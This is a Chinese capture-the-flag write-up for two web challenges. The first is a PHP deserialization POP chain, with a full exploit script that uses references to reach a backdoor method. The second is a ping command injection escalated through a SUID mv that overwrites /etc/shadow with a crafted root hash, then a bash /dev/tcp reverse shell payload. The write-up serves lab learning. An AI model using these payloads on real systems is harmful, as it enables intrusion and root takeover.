写在前面
突然感觉这个比赛考的东西挺好的,但是在打的时候太心急了!
ezphp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| <?php header("Content-type:text/html;charset=utf-8"); class Mason { public $qwe; public $bro;
public function __wakeup() { $temp=$this->bro; $temp(); }
public function __construct() { $this->qwe = "123456"; $this->bro = "123456";
} }
class Ethan{
public $aer; public $asd;
public function __invoke() { serialize($this->asd); }
public function __construct() { $this->aer = "123456"; $this->asd = "123456";
} }
class Chloe{ public $power; public $dfg; public $hjk;
public $say;
public $fn;
public function __construct() { $this->hjk = "123456"; $this->dfg = "123456"; $this->power = "123456"; $this->say = "I want sleep";
}
public function __sleep() { print $this->say; return $this->power->hello;
}
public function __toString() { $this->fu =new class() { public $parent;
public function __construct() { $this->parent = "123456"; } public function backdoor(){ system("cat /flag"); }
};
return "I want sleep"; }
}
class Grace {
public $ou;
public function __construct() { $this->ou = "123456"; }
public function __get($good) { $temp = $this->ou; $temp(); } }
if (isset($_GET['hjkl'])) { $hjkl = $_GET['hjkl']; unserialize($hjkl); }else { highlight_file('index.php'); }
|
前面的链子挺简单的就不分析了,关键是如何去触发backdoor这个方法?
分链子打法加&引用
所谓分链子就是链子一分为二呗,引用就是共享同一内存,这意味着,只要内存发生变化,&引用也会发生变化
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php class Mason { public $bro; }
class Ethan{ public $asd; }
class Chloe{ public $power; public $say; }
class Grace { public $ou; } $a = new Mason(); $b = new Ethan(); $c = new Chloe(); $c2 = new Chloe(); $d = new Grace(); $a->bro = $b; $b->asd = $c; $c->say = $c2; $c->power = $d; $d->ou = [&$c2->fu,'backdoor']; $ser = serialize($a); echo $ser; var_dump(unserialize($ser));
|
那么主要有两个疑问:
1.在触发__toString方法的时候为什么还要多创建一个$c2 = new Chloe();对象?
2.为什么在创建数组callable的时候第一个元素要加上&?
对于第一个这就是我说的分链子,是为了让链子的结构更分明!那为什么要加&呢?
这其实是一个先后顺序的问题!假设没有这个&$d->ou = [$c2->fu,'backdoor'];你这个的第一个元素就是null,有&这个那么就是第一个元素与$c2->fu共享同一内存地址,那么在序列化的时候就是&null,但是在反序列化之后会触发__toString从而实现$c2->fu就是一个对象了!
1
| 考点:1,分链子 2,callable 3,引用内存共享
|
超级ping

直接就有shell了!那会不会是没权限呢?
1
| find / -type f -name "fl*"
|
找了似乎没有,那只能考虑在当前用户没有权限的目录下了
1
| drwx------ 1 root root 4096 Oct 21 06:33 root
|
果然这个目录就只给了文件所有者权限
尝试suid提权
1 2 3 4 5 6 7 8 9 10 11 12
| find / -perm -4000 -type f 2>/dev/null
/usr/bin/umount /usr/bin/passwd /usr/bin/su /usr/bin/mv /usr/bin/gpasswd /usr/bin/chsh /usr/bin/mount /usr/bin/newgrp /usr/bin/chfn /usr/bin/sudo
|
利用mv提权:构造恶意文件,然后mv移动污染/etc/shadow(这是存储用户密码的地方)
构造加盐加密的密码:
1 2 3 4 5
| openssl passwd -1 -salt flag root openssl passwd:openssl 工具中用于生成密码哈希的子命令 -1:指定使用 MD5 算法来生成哈希,这是 Linux 系统中常见且兼容的格式(通常以 $1$ 开头)
最终要写的:root:$1$flag$Qiv1fGuuojJhoMNhwWehP.:18000:0:99999:7:::
|
写入文件(寻找可写目录):

1 2 3 4 5
| ?host=127.0.0.1;echo 'root:$1$flag$Qiv1fGuuojJhoMNhwWehP.:18000:0:99999:7:::' > /home/ctfuser/txt
?host=127.0.0.1;/usr/bin/mv /home/ctfuser/txt /etc/shadow
?host=127.0.0.1;bash -c "bash -i >&/dev/tcp/ip/port 0>&1"
|

还有一题比赛时没看就懒得写了!